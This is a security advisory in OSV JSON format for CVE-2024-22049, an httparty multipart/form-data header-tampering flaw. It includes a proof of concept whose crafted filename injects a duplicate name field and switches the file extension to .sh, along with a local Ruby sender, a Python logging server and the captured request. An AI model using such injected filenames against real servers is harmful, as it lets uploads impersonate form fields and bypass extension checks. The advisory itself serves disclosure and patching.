CVE-2024-22049: Httparty Httparty Has Multipart/form-data Request Tampering Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-5pq7-52mg-hr42",
  "modified" : "2024-01-05T15:32:51Z",
  "published" : "2023-01-03T13:36:46Z",
  "aliases" : [ "CVE-2024-22049" ],
  "summary" : "httparty has multipart/form-data request tampering vulnerability",
  "details" : "### Impact\nI found \"multipart/form-data request tampering vulnerability\" caused by Content-Disposition \"filename\" lack of escaping in httparty.\n\n`httparty/lib/httparty/request` > `body.rb` > `def generate_multipart`\n\nhttps://github.com/jnunemaker/httparty/blob/4416141d37fd71bdba4f37589ec265f55aa446ce/lib/httparty/request/body.rb#L43\n\nBy exploiting this problem, the following attacks are possible\n\n* An attack that rewrites the \"name\" field according to the crafted file name, impersonating (overwriting) another field.\n* Attacks that rewrite the filename extension at the time multipart/form-data is generated by tampering with the filename\n\nFor example, this vulnerability can be exploited to generate the following Content-Disposition.\n\n> Normal Request example:\n> normal input filename: `abc.txt`\n> \n> generated normal header in multipart/form-data\n> `Content-Disposition: form-data; name=\"avatar\"; filename=\"abc.txt\"`\n \n> Malicious Request example\n> malicious input filename: `overwrite_name_field_and_extension.sh\"; name=\"foo\"; dummy=\".txt`\n> \n> generated malicious header in multipart/form-data:\n> `Content-Disposition: form-data; name=\"avatar\"; filename=\"overwrite_name_field_and_extension.sh\"; name=\"foo\"; dummy=\".txt\"`\n\nThe Abused Header has multiple name ( `avatar` & `foo` ) fields and the \"filename\" has been rewritten from `*.txt` to `*.sh` .\n\nThese problems can result in successful or unsuccessful attacks, depending on the behavior of the parser receiving the request.\nI have confirmed that the attack succeeds, at least in the following frameworks\n\n * Spring (Java)\n * Ktor (Kotlin)\n * Ruby on Rails (Ruby)\n\nThe cause of this problem is the lack of escaping of the `\"` (Double-Quote) character in Content-Disposition > filename.\n\nWhatWG's HTML spec has an escaping requirement.\n\nhttps://html.spec.whatwg.org/#multipart-form-data\n\n> For field names and filenames for file fields, the result of the encoding in the previous bullet point must be escaped by replacing any 0x0A (LF) bytes with the byte sequence `%0A`, 0x0D (CR) with `%0D` and 0x22 (\") with `%22`. The user agent must not perform any other escapes.\n\n\n\n### Patches\n\nAs noted at the beginning of this section, encoding must be done as described in the HTML Spec.\n\nhttps://html.spec.whatwg.org/#multipart-form-data\n\n> For field names and filenames for file fields, the result of the encoding in the previous bullet point must be escaped by replacing any 0x0A (LF) bytes with the byte sequence `%0A`, 0x0D (CR) with `%0D` and 0x22 (\") with `%22`. The user agent must not perform any other escapes.\n\nTherefore, it is recommended that Content-Disposition be modified by either of the following\n\n> Before:\n> `Content-Disposition: attachment;filename=\"malicious.sh\";dummy=.txt`\n\n> After:\n> `Content-Disposition: attachment;filename=\"%22malicious.sh%22;dummy=.txt\"`\n\nhttps://github.com/jnunemaker/httparty/blob/4416141d37fd71bdba4f37589ec265f55aa446ce/lib/httparty/request/body.rb#L43\n\n```\nfile_name.gsub('\"', '%22')\n```\n\nAlso, as for `\\r`, `\\n`, URL Encode is not done, but it is not newlines, so it seemed to be OK.\nHowever, since there may be omissions, it is safer to URL encode these as well, if possible.\n( `\\r` to `%0A` and `\\d` to `%0D` ) \n\n### PoC\n\n#### PoC Environment\n\nOS: macOS Monterey(12.3)\nRuby ver: ruby 3.1.2p20 \nhttparty ver: 0.20.0\n(Python3 - HTTP Request Logging Server)\n\n### PoC procedure\n\n\n(Linux or MacOS is required. \nThis is because Windows does not allow file names containing `\"` (double-quote) .)\n\n1. Create Project \n```\n$ mkdir my-app\n$ cd my-app\n$ gem install httparty\n```\n\n2. Create malicious file\n\n```\n$ touch 'overwrite_name_field_and_extension.sh\"; name=\"foo\"; dummy=\".txt'\n```\n\n3. Generate Vuln code\n\n```\n$ vi example.rb\n```\n\n```\nrequire 'httparty'\n\nfilename = 'overwrite_name_field_and_extension.sh\"; name=\"foo\"; dummy=\".txt'\n\nHTTParty.post('http://localhost:12345/',\n  body: {\n    name: 'Foo Bar',\n    email: 'example@email.com',\n    avatar: File.open(filename)\n  }\n)\n```\n\n\n4. Run Logging Server\n\nI write Python code, but any method will work as long as you can see the HTTP Request Body.\n(e.g. Debugger, HTTP Logging Server, Packet Capture) \n\n\n$ vi logging.py\n```\nfrom http.server import HTTPServer\nfrom http.server import BaseHTTPRequestHandler\n\nclass LoggingServer(BaseHTTPRequestHandler):\n\n    def do_POST(self):\n        self.send_response(200)\n        self.end_headers()\n        self.wfile.write(\"ok\".encode(\"utf-8\"))\n\n        content_length = int(self.headers['Content-Length'])\n        post_data = self.rfile.read(content_length)\n        print(\"POST request,\\nPath: %s\\nHeaders:\\n%s\\n\\nBody:\\n%s\\n\",\n                     str(self.path), str(self.headers), post_data.decode('utf-8'))\n        self.wfile.write(\"POST request for {}\".format(self.path).encode('utf-8'))\n\nip = '127.0.0.1'\nport = 12345\n\nserver = HTTPServer((ip, port), LoggingServer)\nserver.serve_forever()\n```\n\n$ python logging.py\n\n\n5. Run & Logging server\n\n```\n$ run example.rb\n```\n\nReturn Request Header & Body:\n\n> User-Agent: Ruby\n> Content-Type: multipart/form-data; boundary=------------------------F857UcxRc2J1zFOz\n> Connection: close\n> Host: localhost:12345\n> Content-Length: 457\n> \n>  --------------------------F857UcxRc2J1zFOz\n> Content-Disposition: form-data; name=\"name\"\n> \n> Foo Bar\n> --------------------------F857UcxRc2J1zFOz\n> Content-Disposition: form-data; name=\"email\"\n> \n> example@email.com\n> --------------------------F857UcxRc2J1zFOz\n> Content-Disposition: form-data; name=\"avatar\"; filename=\"overwrite_name_field_and_extension.sh\"; name=\"foo\"; dummy=\".txt\"\n> Content-Type: text/plain\n> \n> abc\n> --------------------------F857UcxRc2J1zFOz--\n\n\nContent-Disposition:\n> Content-Disposition: form-data; name=\"avatar\"; filename=\"overwrite_name_field_and_extension.sh\"; name=\"foo\"; dummy=\".txt\"\n\n* name fields is duplicate (avator & foo)\n* filename & extension tampering ( .txt --> .sh )\n\n\n\n\n### References\n\n1. I also include a similar report that I previously reported to Firefox.\nhttps://bugzilla.mozilla.org/show_bug.cgi?id=1556711\n\n\n2. I will post some examples of frameworks that did not have problems as reference.\n\nGolang\nhttps://github.com/golang/go/blob/e0e0c8fe9881bbbfe689ad94ca5dddbb252e4233/src/mime/multipart/writer.go#L144\n\nSpring\nhttps://github.com/spring-projects/spring-framework/blob/4cc91e46b210b4e4e7ed182f93994511391b54ed/spring-web/src/main/java/org/springframework/http/ContentDisposition.java#L259-L267\n\nSymphony\nhttps://github.com/symfony/symfony/blob/123b1651c4a7e219ba59074441badfac65525efe/src/Symfony/Component/Mime/Header/ParameterizedHeader.php#L128-L133\n\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Email us at [kumagoro_alice@yahoo.co.jp](mailto:kumagoro_alice@yahoo.co.jp)\n",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "RubyGems",
      "name" : "httparty"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.21.0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 0.20.0"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/jnunemaker/httparty/security/advisories/GHSA-5pq7-52mg-hr42"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2024-22049"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/jnunemaker/httparty/commit/cdb45a678c43e44570b4e73f84b1abeb5ec22b8e"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/jnunemaker/httparty"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/jnunemaker/httparty/blob/4416141d37fd71bdba4f37589ec265f55aa446ce/lib/httparty/request/body.rb#L43"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/httparty/CVE-2024-22049.yml"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-472" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2023-01-03T13:36:46Z",
    "nvd_published_at" : null
  }
}